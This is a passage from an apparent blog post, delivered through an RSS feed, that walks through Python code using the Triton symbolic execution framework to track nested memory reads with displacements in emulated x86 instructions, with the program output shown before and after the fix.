<span class="hljs-attr">Emulating 0x401010:</span> <span class="hljs-string">ret</span>
<span class="hljs-attr">Instructions executed:</span> <span class="hljs-number">7</span>
<span class="hljs-attr">Expression tree:</span>
{<span class="hljs-attr">6:</span> <span class="hljs-string">ref_6</span> <span class="hljs-string">=</span> <span class="hljs-string">((esp)</span>[<span class="hljs-number">0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0</span>],
 <span class="hljs-attr">12:</span> <span class="hljs-string">ref_12</span> <span class="hljs-string">=</span> <span class="hljs-string">((((esp)</span>[<span class="hljs-number">0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0</span>],
 <span class="hljs-attr">15:</span> <span class="hljs-string">ref_15</span> <span class="hljs-string">=</span> <span class="hljs-string">(((((esp)</span>[<span class="hljs-number">0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0</span>],
 <span class="hljs-attr">18:</span> <span class="hljs-string">ref_18</span> <span class="hljs-string">=</span> <span class="hljs-string">(((((esp)</span>[<span class="hljs-number">0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0</span>],
 <span class="hljs-attr">19:</span> <span class="hljs-string">ref_19</span> <span class="hljs-string">=</span> <span class="hljs-string">((((0x0)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-comment"># Program Counter - 0x401010: ret,</span>
 <span class="hljs-attr">21:</span> <span class="hljs-string">ref_21</span> <span class="hljs-string">=</span> <span class="hljs-string">(esp)</span>[<span class="hljs-number">0</span>]}
<span class="hljs-attr">Final state of eax:</span>
<span class="hljs-string">((((esp)[0])[0])[0])[0]</span>
<span class="hljs-attr">Final state of ebp:</span>
<span class="hljs-number">0x0</span>
<span class="hljs-attr">Final state of esp:</span>
<span class="hljs-string">(esp)[0]</span>
</code></pre><p>Clearly this is wrong... so we need to add a little more smarts to our lookup code. The big thing is that we look at <code>instruction.getReadRegisters()</code> and this doesn't get us the offset, so we need to find a <code>MemoryAccess</code> object instead. Let's try this on for size:</p>
<pre><code>        <span class="hljs-keyword">if</span> instruction.isMemoryRead():
            memory_access, read__memory_ast_node = instruction.getLoadAccess()[<span class="hljs-number">0</span>]
            read_register, read_register_ast_node = instruction.getReadRegisters()[<span class="hljs-number">0</span>]
            written_register, write_register_ast_node = instruction.getWrittenRegisters()[<span class="hljs-number">0</span>]
            <span class="hljs-keyword">if</span> read_register.getName() != <span class="hljs-string">"unknown"</span>:
                expression = read_register_ast_node.getSymbolicExpression()
                expression_ast = expression.getAst()
                <span class="hljs-comment">#import pdb</span>
                <span class="hljs-comment">#pdb.set_trace()</span>
                <span class="hljs-keyword">if</span> expression_ast.getType() == AST_NODE.VARIABLE:
                    variable = expression_ast.getSymbolicVariable()
                    alias = variable.getAlias()
                    displacement = memory_access.getDisplacement().getValue()
                    newalias = <span class="hljs-string">"(%s)[0x%x]"</span> % (alias, displacement)
                    <span class="hljs-comment">#newalias = "(%s)[0]" % alias</span>
                    Triton.symbolizeRegister(written_register, newalias)
                <span class="hljs-keyword">elif</span> expression_ast.getType() == AST_NODE.CONCAT:
                    <span class="hljs-keyword">import</span> pdb
                    pdb.set_trace()
                    <span class="hljs-keyword">pass</span>
                <span class="hljs-keyword">else</span>:
                    <span class="hljs-keyword">import</span> pdb
                    pdb.set_trace()
                    <span class="hljs-keyword">raise</span> Exception(<span class="hljs-string">"Unexpected ast node"</span>)
</code></pre><p>And the output:</p>
<pre><code><span class="hljs-string">$</span> <span class="hljs-string">python3</span> <span class="hljs-string">tritonbasic2.py</span>
<span class="hljs-attr">Emulating 0x401000:</span> <span class="hljs-string">mov</span> <span class="hljs-string">eax,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">esp</span>]
<span class="hljs-attr">Emulating 0x401003:</span> <span class="hljs-string">mov</span> <span class="hljs-string">edx,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">eax</span>]
<span class="hljs-attr">Emulating 0x401005:</span> <span class="hljs-string">mov</span> <span class="hljs-string">eax,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">edx</span> <span class="hljs-string">+</span> <span class="hljs-number">8</span>]
<span class="hljs-attr">Emulating 0x401008:</span> <span class="hljs-string">mov</span> <span class="hljs-string">eax,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">eax</span>]
<span class="hljs-attr">Emulating 0x40100a:</span> <span class="hljs-string">mov</span> <span class="hljs-string">ebx,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">eax</span> <span class="hljs-string">+</span> <span class="hljs-number">4</span>]
<span class="hljs-attr">Emulating 0x40100d:</span> <span class="hljs-string">mov</span> <span class="hljs-string">ecx,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">eax</span> <span class="hljs-bullet">-</span> <span class="hljs-number">4</span>]
<span class="hljs-attr">Emulating 0x401010:</span> <span class="hljs-string">ret</span>
<span class="hljs-attr">Instructions executed:</span> <span class="hljs-number">7</span>
<span class="hljs-attr">Expression tree:</span>
{<span class="hljs-attr">6:</span> <span class="hljs-string">ref_6</span> <span class="hljs-string">=</span> <span class="hljs-string">((esp)</span>[<span class="hljs-number">0x0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0x0</span>],
 <span class="hljs-attr">12:</span> <span class="hljs-string">ref_12</span> <span class="hljs-string">=</span> <span class="hljs-string">((((esp)</span>[<span class="hljs-number">0x0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0x0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0x8</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0x0</span>],
 <span class="hljs-attr">15:</span> <span class="hljs-string">ref_15</span> <span class="hljs-string">=</span> <span class="hljs-string">(((((esp)</span>[<span class="hljs-number">0x0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0x0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0x8</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0x0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0x4</span>],
 <span class="hljs-attr">18:</span> <span class="hljs-string">ref_18</span> <span class="hljs-string">=</span> <span class="hljs-string">(((((esp)</span>[<span class="hljs-number">0x0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0x0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0x8</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0x0</span>]<span class="hljs-string">)</span>[<span class="hljs-number">0xfffffffc</span>],
 <span class="hljs-attr">19:</span> <span class="hljs-string">ref_19</span> <span class="hljs-string">=</span> <span class="hljs-string">((((0x0)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-string">&lt;&lt;</span> <span class="hljs-number">8</span> <span class="hljs-string">|</span> <span class="hljs-number">0x0</span><span class="hljs-string">)</span> <span class="hljs-comment"># Program Counter - 0x401010: ret,</span>
 <span class="hljs-attr">21:</span> <span class="hljs-string">ref_21</span> <span class="hljs-string">=</span> <span class="hljs-string">(esp)</span>[<span class="hljs-number">0x0</span>]}
<span class="hljs-attr">Final state of eax:</span>
<span class="hljs-string">((((esp)[0x0])[0x0])[0x8])[0x0]</span>
<span class="hljs-attr">Final state of ebx:</span>
<span class="hljs-string">(((((esp)[0x0])[0x0])[0x8])[0x0])[0x4]</span>
<span class="hljs-attr">Final state of ecx:</span>
<span class="hljs-string">(((((esp)[0x0])[0x0])[0x8])[0x0])[0xfffffffc]</span>
<span class="hljs-attr">Final state of ebp:</span>
<span class="hljs-number">0x0</span>
<span class="hljs-attr">Final state of esp:</span>
<span class="hljs-string">(esp)[0x0]</span>
</code></pre><p>So this looks to handle nested memory reads, including indices. There's a little more to handle though, as I mentioned this still doesn't handle pop/lodsb style instructions, nor the more complicated <code>mov eax, [ebx*4+ecx+12]</code>, but you can see how the pattern works.</p>
<p>I hope this was useful, have fun hacking!</p>
]]></content:encoded></item></channel></rss>